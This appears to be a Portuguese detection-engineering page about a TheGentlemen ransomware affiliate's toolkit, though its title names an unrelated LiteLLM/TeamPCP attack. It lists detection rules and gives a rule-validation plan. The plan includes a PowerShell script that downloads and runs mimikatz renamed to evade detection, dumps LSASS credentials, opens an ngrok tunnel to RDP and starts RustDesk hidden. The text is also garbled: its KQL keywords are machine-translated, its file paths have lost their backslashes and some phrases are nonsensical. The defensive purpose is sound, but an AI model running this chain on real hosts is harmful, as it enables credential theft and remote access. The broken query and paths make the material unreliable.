33K Implementações de LiteLLM Expostas e os Servidores C2 por Trás do Ataque à Cadeia de Suprimentos da TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Pesquisadores descobriram um diretório aberto e não autenticado em um provedor de hospedagem à prova de balas russo, contendo um kit de ferramentas completo de operador de ransomware atribuído a um afiliado do ransomware TheGentlemen. O kit de ferramentas inclui utilitários legítimos, ferramentas ofensivas conhecidas, scripts em lote para evasão de defesa, despejo de credenciais e acesso remoto, bem como tokens ngrok em texto claro. Evidências como logs do Mimikatz confirmam uso ativo contra vítimas reais.
Investigação
A investigação começou ao consultar IOCs publicados anteriormente, levando ao diretório aberto em 176.120.22.127:80. Analistas catalogaram 126 arquivos, extraíram ferramentas de varredura de rede, utilitários de escalonamento de privilégios, scripts de desativação de defensores, logs de despejo de credenciais e mecanismos de persistência. A análise detalhada mapeou cada componente para as técnicas do MITRE ATT&CK e destacou a abordagem de evasão de defesa em camadas.
Mitigação
Os defensores devem monitorar a execução de ferramentas conhecidas de duplo uso, mudanças no registro desativando o Windows Defender, encerramento massivo de serviços, exclusão de sombras VSS e criação de compartilhamentos SMB abertos. Bloquear conexões de saída para o IP e infraestrutura ngrok identificados, e impor a lista branca de aplicativos e o guardião de credenciais podem reduzir o impacto.
Resposta
Após a detecção, isolar o host afetado, coletar dados voláteis e identificar quaisquer túneis ngrok ativos usando os tokens expostos. Corrigir modificações no registro, restaurar serviços desativados e iniciar procedimentos completos de resposta a incidentes, incluindo rotação de credenciais e restauração de backups.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc %% Nodes step_active_scanning["<b>Ação</b> – <b>T1595 Varredura Ativa</b><br/><b>Ferramenta</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>Ação</b> – <b>T1082 Descoberta de Informações do Sistema</b><br/><b>Ferramentas</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>Ação</b> – <b>T1057 Descoberta de Processos</b><br/><b>Ferramenta</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>Ação</b> – <b>T1134.003 Manipulação de Token de Acesso: Impersonação de Token/O Instalador Confiável</b><br/><b>Ferramenta</b>: PowerRun se passa por TrustedInstaller"] class step_priv_esc action step_credential_access["<b>Ação</b> – <b>T1003.001 Despejo de Credenciais do SO</b><br/><b>Ferramenta</b>: O Mimikatz coleta hashes NTLM e nomes de usuários"] class step_credential_access action step_defense_evasion["<b>Ação</b> – <b>T1562.001 Prejudicar Defesas: Desativar Ferramentas de Segurança</b><br/><b>Ferramentas</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>Ação</b> – <b>T1112 Modificar Registro</b><br/><b>Detalhes</b>: alterações no registro para desativar o Defender e habilitar o WDigest"] class step_modify_registry action step_service_stop["<b>Ação</b> – <b>T1489 Interromper Serviço</b><br/><b>Scripts</b>: z.bat / z1.bat parar e desativar AV, Exchange, serviços DB"] class step_service_stop action step_persistence_c2["<b>Ação</b> – <b>T1219 Software de Acesso Remoto</b> e <b>T1572 Protocolo Padrão de Camada de Aplicação</b><br/><b>Ferramentas</b>: túneis ngrok, acesso remoto RustDesk"] class step_persistence_c2 action step_inhibit_recovery["<b>Impacto</b> – <b>T1490 Inibir Recuperação de Sistema</b><br/><b>Comando</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>Ação</b> – <b>T1070.001 Limpar Logs de Eventos do Windows</b><br/><b>Script</b>: clearlog.bat limpa os logs de eventos do Windows"] class step_anti_forensics action step_archive_data["<b>Ação</b> – <b>T1560 Arquivar Dados Coletados</b><br/><b>Ferramenta</b>: 7u2011Zip comprime dados"] class step_archive_data action %% Connections step_active_scanning –>|leva_a| step_system_info step_system_info –>|leva_a| step_process_discovery step_process_discovery –>|leva_a| step_priv_esc step_priv_esc –>|leva_a| step_credential_access step_credential_access –>|leva_a| step_defense_evasion step_defense_evasion –>|leva_a| step_modify_registry step_modify_registry –>|leva_a| step_service_stop step_service_stop –>|leva_a| step_persistence_c2 step_persistence_c2 –>|leva_a| step_inhibit_recovery step_inhibit_recovery –>|leva_a| step_anti_forensics step_anti_forensics –>|leva_a| step_archive_data "
Fluxo de Ataque
Detecções
Desativar o Monitoramento em Tempo Real do Windows Defender e Outras Alterações de Preferências (via linha de comando)
Ver
Modificações Suspeitas no Registro para Permitir Conexões RDP e Criar Persistência (via criação de processo)
Ver
Possível Sombreamento de Serviços de Área de Trabalho Remota (via criação de processo)
Ver
Possível Tentativa de Exclusão de Artefatos Específicos de RDP no Registro (linha de comando)
Ver
Adicionar Biblioteca Suspeita aos Provedores de Suporte de Segurança [SSP] (via evento de registro)
Ver
Permissões de Compartilhamento de Arquivo Fracas (via linha de comando)
Ver
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Ver
Provável Uso de Ferramentas de Hack do Windows [Parte3] (via linha de comando)
Ver
Possíveis Recursos de Acessibilidade Abusados no Registro (via linha de comando)
Ver
Execução Suspeita de Taskkill (via linha de comando)
Ver
Atividade Suspeita do VSSADMIN (via linha de comando)
Ver
Possível Utilização do Mecanismo de Saída Silenciosa de Processo (via evento de registro)
Ver
Interrupção Suspeita de Serviço Interferente de Ransomware (via linha de comando)
Ver
Possível Download ou Tentativa de Inicialização do Ngrok (via linha de comando)
Ver
Provável Uso de Ferramentas de Hack do Windows [Parte3] (via evento de arquivo)
Ver
Possível Enumeração de Processos do Sistema (via linha de comando)
Ver
Possível Modificação de Chaves de Registro do Windows Defender (via evento de registro)
Ver
Desativar Proteções do Windows Defender (via evento de registro)
Ver
Possível Abuso de Chave de Registro WDigest (via evento de registro)
Ver
Possível Atividade de Evasão de Defesa por Uso Suspeito de Wevtutil (via linha de comando)
Ver
Possível Bypass de UAC – Tentativa de Desativação do UAC (via evento de registro)
Ver
Software de Acesso Remoto / Gerenciamento Alternativo (via criação de processo)
Ver
IOCs (DestinationIP) para detectar: 33 mil Implantações LiteLLM Expostas e os Servidores C2 Por Trás do Ataque de Cadeia de Suprimentos do TeamPCP
Ver
IOCs (SourceIP) para detectar: 33 mil Implantações LiteLLM Expostas e os Servidores C2 Por Trás do Ataque de Cadeia de Suprimentos do TeamPCP
Ver
Evasão do Windows Defender e Despejo de Credenciais via Modificações de Registro [Evento de Registro do Windows]
Ver
Desativação do Defender via Set-MpPreference [Windows Powershell]
Ver
Execução de Ferramentas Conhecidas para Escalonamento de Privilégios e Acesso Remoto [Criação de Processo do Windows]
Ver
## Resumo Executivo
- ID do Caso de Teste: TC-20260330-A1B2C
- TTPs: T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
- Resumo da Lógica da Regra de Detecção: Detecta a criação de processos cujo nome de executável termina com qualquer um de uma lista curada de ferramentas conhecidas para escalonamento de privilégios ou acesso remoto (por exemplo, PowerRun, ngrok, RDP, RustDesk, mimikatz).
- Linguagem/Formato da Regra de Detecção: Sigma (YAML)
- Ambiente de Segurança Alvo: Sistema Operacional Windows; telemetria de criação de processos via Sysmon (Evento ID 1) e Log de Segurança do Windows (Evento 4688); qualquer SIEM/EDR capaz de ingerir esses eventos (por exemplo, Azure Sentinel, Splunk, Elastic).
- Pontuação de Resiliência (1-5): 2
- Justificativa: A regra depende exclusivamente da correspondência exata de nomes de arquivos. Um adversário pode facilmente evitá-la ao renomear binários, usar variantes empacotadas ou executar a mesma funcionalidade via utilitários internos do Windows, reduzindo a eficácia.
- Principais Descobertas: A regra é ativada de forma confiável quando os binários listados exatamente são executados, mas ela não detecta ferramentas renomeadas ou funcionalmente equivalentes, levando a um alto risco de falsos negativos.
- Recomendação: Enriquecer a regra com indicadores adicionais (hashes, argumentos de linha de comando, relacionamentos de processos pai) e ampliar a cobertura para incluir binários nativos que fornecem capacidades equivalentes.
## Ambiente de Simulação & Contexto
-
TTPs em Teste:
- T1003.001: Despejo de Credenciais do Sistema Operacional – Memória LSASS
- T1016: Descoberta de Configuração de Rede do Sistema
- T1021.001: Serviços Remotos – Protocolo de Área de Trabalho Remota (RDP)
- T1021.002: Serviços Remotos – Compartilhamentos Admin da SMB/Windows
- T1046: Varredura de Serviços de Rede
- T1057: Descoberta de Processos
- T1059.003: Interpretador de Comandos & Scripts – Shell de Comando do Windows
- T1070.001: Remoção de Indicador no Host – Limpar Logs de Eventos do Windows
- T1070.004: Remoção de Indicador no Host – Exclusão de Arquivo
- T1082: Descoberta de Informações do Sistema
- T1112: Modificar Registro
- T1134: Manipulação de Token de Acesso
- T1219: Ferramentas de Acesso Remoto
- T1484.001: Modificação de Política de Domínio – Modificação de Política de Grupo
- T1489: Interrupção de Serviço
- T1490: Inibir Recuperação de Sistema
- T1546.008: Execução de Evento Disparado – PowerShell
- T1548.002: Abuso do Mecanismo de Controle de Elevação – Bypass UAC
- T1560.001: Arquivar Dados Coletados – Arquivar via Utilitário
- T1562.001: Prejudicar Defesas – Desativar Ferramentas de Segurança
- T1572: Tunelamento de Protocolo
-
Contexto e Relevância do TTP:
A regra visa a execução de binários historicamente associados às técnicas listadas (por exemplo, mimikatz para T1003.001, ngrok para T1572, RustDesk para T1219). Ao reproduzir essas execuções, podemos validar se a detecção dispara conforme pretendido e avaliar como renomear ou usar ferramentas alternativas afeta a detecção. -
Ambiente Alvo:
- OS: Windows 10/Server 2019 (64 bits)
- Log de Auditoria: Sysmon (v13+) com configuração de criação de processos padrão; Log de Eventos de Segurança do Windows (Evento 4688) habilitado.
- Pilha de Segurança: Azure Sentinel (Linguagem de Consulta Kusto) – intercambiável com Splunk, Elastic, etc.
## Verificação Pré-voo de Telemetria e Linha de Base
Racionalidade: Antes de simular o ataque, devemos confirmar que o host alvo está configurado para gerar os logs necessários, que esses logs são ingeridos pelo SIEM e que a regra de detecção não dispara em atividades benignas. Sem essa validação, qualquer resultado de teste não é confiável.
-
1. Instruções de Configuração de Telemetria:
- Instale o Sysmon (se ainda não estiver presente) e aplique uma configuração que registre eventos de Criação de Processo (EventoID 1).
# Baixe e instale o Sysmon Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe & $env:TEMPsysmon.exe -i -accepteula - Verifique se a Auditoria de Segurança do Windows para “Criação de Processo de Auditoria” (Evento 4688) está habilitada via Política de Grupo ou Política de Segurança Local.
- Certifique-se de que o conector SIEM está ativo e encaminhando tanto os logs Sysmon quanto os de Segurança para o espaço de trabalho escolhido.
- Instale o Sysmon (se ainda não estiver presente) e aplique uma configuração que registre eventos de Criação de Processo (EventoID 1).
-
2. Ingestão & Validação de Linha de Base:
-
Ação (Telemetria Benigna): Execute um binário comum do Windows que é not parte da lista de detecção, mas ainda gera um evento de criação de processo.
# Comando benigno – iniciar o Bloco de Notas (não deve acionar a regra) Start-Process notepad.exe -
Consulta de Validação (Ingestão): Confirme que o evento do Bloco de Notas aparece no SIEM.
// Azure Sentinel KQL – verificar ingestão do processo benigno SecurityEvent | onde EventID == 4688 | onde Process == "notepad.exe" | projeto TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | limite 10
-
## Execução da Simulação
Pré-requisito: A Verificação Pré-voo de Telemetria e Linha de Base deve ter passado.
Racionalidade: Esta seção detalha a execução precisa da técnica adversária (TTP) desenvolvida para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.
-
Narrativa de Ataque & Comandos:
- Despejo de Credenciais (T1003.001): O atacante copia
mimikatz.exepara o host da vítima, renomeia-o paraPowerRun_x64.exe(para corresponder à lista de nomes de arquivo da regra) e o executa para extrair credenciais LSASS. - Criação de Túnel Reverso (T1572): O atacante inicia
ngrok.exe(tal como está) para abrir um túnel TCP que encaminha uma porta RDP local para o servidor do atacante, facilitando o movimento lateral. - Sessão de Área de Trabalho Remota (T1021.001): Usando o túnel recém-criado, o atacante executa
rdp.exepara abrir uma conexão de área de trabalho remota para um segundo host interno. - Acesso Remoto Alternativo (T1219): Como feijão de fallback,
rustdesk.exeé iniciado para estabelecer um canal de acesso remoto persistente.
Cada uma dessas execuções gera um registro Sysmon/Evento 4688 com o campo
Imageterminando no nome do executável respectivo, satisfazendo a condição de detecção. - Despejo de Credenciais (T1003.001): O atacante copia
-
Script de Teste de Regressão:
# 1. Implantar mimikatz e renomear para PowerRun_x64.exe (corresponde à regra) $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" $tempPath = "$env:TEMPmimikatz" New-Item -ItemType Directory -Path $tempPath -Force | Out-Null Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip" Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force # Execute mimikatz renomeado (despejo de credenciais) Write-Host "[*] Executando mimikatz renomeado (PowerRun_x64.exe) para despejo de credenciais..." Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait # 2. Baixar e executar ngrok (túnel reverso) $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip" Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force $ngrokPath = "$tempPathngrok.exe" Write-Host "[*] Iniciando túnel TCP ngrok na porta 3389..." Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow # 3. Lançar cliente RDP através do túnel (simulado) Write-Host "[*] Simulando conexão RDP via túnel (rdp.exe)..." $rdpPath = "$tempPathrdp.exe" # Criar um rdp.exe fictício (apenas para gerar o nome do processo) New-Item -ItemType File -Path $rdpPath -Force | Out-Null Start-Process -FilePath $rdpPath -WindowStyle Hidden # 4. Implantar RustDesk como ferramenta de acesso remoto alternativo $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip" Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip" Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force $rustdeskPath = "$tempPathrustdesk.exe" Write-Host "[*] Iniciando RustDesk (acesso remoto alternativo)..." Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden Write-Host "[+] Simulação concluída. Verifique o SIEM para eventos de criação de processo que terminem com os binários listados." -
Comandos de Limpeza:
# Terminar túnel ngrok Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force # Remover arquivos e binários temporários Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk" Write-Host "[*] Limpeza concluída."